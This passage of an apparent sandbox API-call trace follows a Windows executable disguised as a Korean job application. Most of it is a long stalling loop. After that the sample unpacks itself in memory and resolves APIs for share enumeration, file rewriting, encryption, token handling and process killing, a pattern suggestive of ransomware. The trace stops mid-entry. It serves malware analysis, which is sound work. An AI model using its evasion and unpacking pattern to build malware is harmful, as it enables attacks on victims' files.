returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.595] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.595] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.595] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.595] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.595] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.595] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.595] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.595] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.595] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.595] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.595] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.595] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.595] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.595] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.595] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.596] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.596] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.597] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.597] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.597] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.597] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.597] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.597] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.597] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.597] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.597] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.597] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.597] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.597] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.597] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.597] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.597] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.597] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.598] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.598] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.598] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.598] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.598] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.598] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.598] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.598] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.598] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.599] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.599] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.599] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.599] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.599] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.599] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.599] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.599] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.599] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.599] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.599] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.599] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.599] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.599] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.599] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.599] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.600] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.600] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.600] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.600] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.600] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.600] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.600] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.600] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.600] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.601] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.601] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.602] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.602] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.602] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.602] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.602] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.602] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.602] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.602] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.602] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.602] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0043.953] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76d30000 [0043.961] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0043.966] VirtualProtect (in: lpAddress=0x48b22d0, dwSize=0x65d8, flNewProtect=0x40, lpflOldProtect=0x18edb0 | out: lpflOldProtect=0x18edb0*=0x4) returned 1 [0043.969] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0043.969] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0043.970] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0043.970] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0043.970] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0043.970] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0043.970] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0043.970] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0043.970] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0043.975] Module32First (hSnapshot=0x58, lpme=0x18ef40) returned 1 [0043.976] VirtualAlloc (lpAddress=0x0, dwSize=0x9050, flAllocationType=0x1000, flProtect=0x40) returned 0x210000 [0043.979] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0043.979] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0043.980] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0043.980] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0043.980] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0043.980] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0043.980] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0043.980] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0043.980] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0043.980] SetErrorMode (uMode=0x400) returned 0x0 [0043.980] SetErrorMode (uMode=0x0) returned 0x400 [0043.981] GetVersionExA (in: lpVersionInformation=0x18de70*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18de70*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0043.981] VirtualAlloc (lpAddress=0x0, dwSize=0x8200, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0043.982] VirtualProtect (in: lpAddress=0x400000, dwSize=0xd000, flNewProtect=0x40, lpflOldProtect=0x18eef8 | out: lpflOldProtect=0x18eef8*=0x2) returned 1 [0043.986] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0043.987] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0044.709] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0044.709] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0044.709] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0044.709] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0044.709] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0044.709] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0044.709] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0044.709] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0044.709] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0044.710] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0044.711] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886 [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemWindowsDirectoryW") returned 0x76d45213 [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0044.712] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0044.713] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0044.714] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0044.715] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0044.715] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0044.715] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0044.715] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0044.715] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0044.715] GetProcAddress (hModule=0x77130000, lpProcName="GetShellWindow") returned 0x7716e8a8 [0044.715] GetProcAddress (hModule=0x77130000, lpProcName="GetWindowThreadProcessId") returned 0x771491b4 [0044.716] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfA") returned 0x7715ae5f [0044.716] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0044.716] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0044.716] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0044.716] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0044.716] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0044.717] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0044.717] GetProcAddress (hModule=0x77710000, lpProcName="CryptDecrypt") returned 0x77753178 [0044.717] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0044.717] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0044.717] GetProcAddress (hModule=0x77710000, lpProcName="SetTokenInformation") returned 0x77719a92 [0044.717] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0044.717] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0044.718] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0044.718] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0044.718] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0044.718] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExA") returned 0x777248ef [0044.718] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExA") returned 0x77724907 [0044.718] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0044.718] GetProcAddress (hModule=0x77710000, lpProcName="CryptSetKeyParam") returned 0x777377b3 [0044.718] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0048.504] GetProcAddress (hModule=0x759d0000, lpProcName=0x2a8) returned 0x75a244f5 [0048.504] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0048.504] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0048.504] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0048.504] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0048.897] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0048.898] atexit (param_1=0x210920) returned 0 [0048.898] GetVersion () returned 0x1db10106 [0048.898] GetCurrentProcess () returned 0xffffffff [0048.898] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18ef0c | out: TokenHandle=0x18ef0c*=0x84) returned 1 [0048.899] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x18ef10, TokenInformationLength=0x4, ReturnLength=0x18ef14 | out: TokenInformation=0x18ef10, ReturnLength=0x18ef14) returned 1 [0048.899] CloseHandle (hObject=0x84) returned 1 [0048.899] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" " [0048.899] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" ", pNumArgs=0x18ef14 | out: pNumArgs=0x18ef14) returned 0x48bb1b0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" [0048.900] GetProcessHeap () returned 0x48a0000 [0048.900] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x1) returned 0x48b08a0 [0048.900] GetProcessHeap () returned 0x48a0000 [0048.900] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x2c) returned 0x48bb258 [0048.900] CryptAcquireContextW (in: phProv=0x48bb258, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x48bb258*=0x48bcc28) returned 1 [0049.316] GetProcessHeap () returned 0x48a0000 [0049.316] 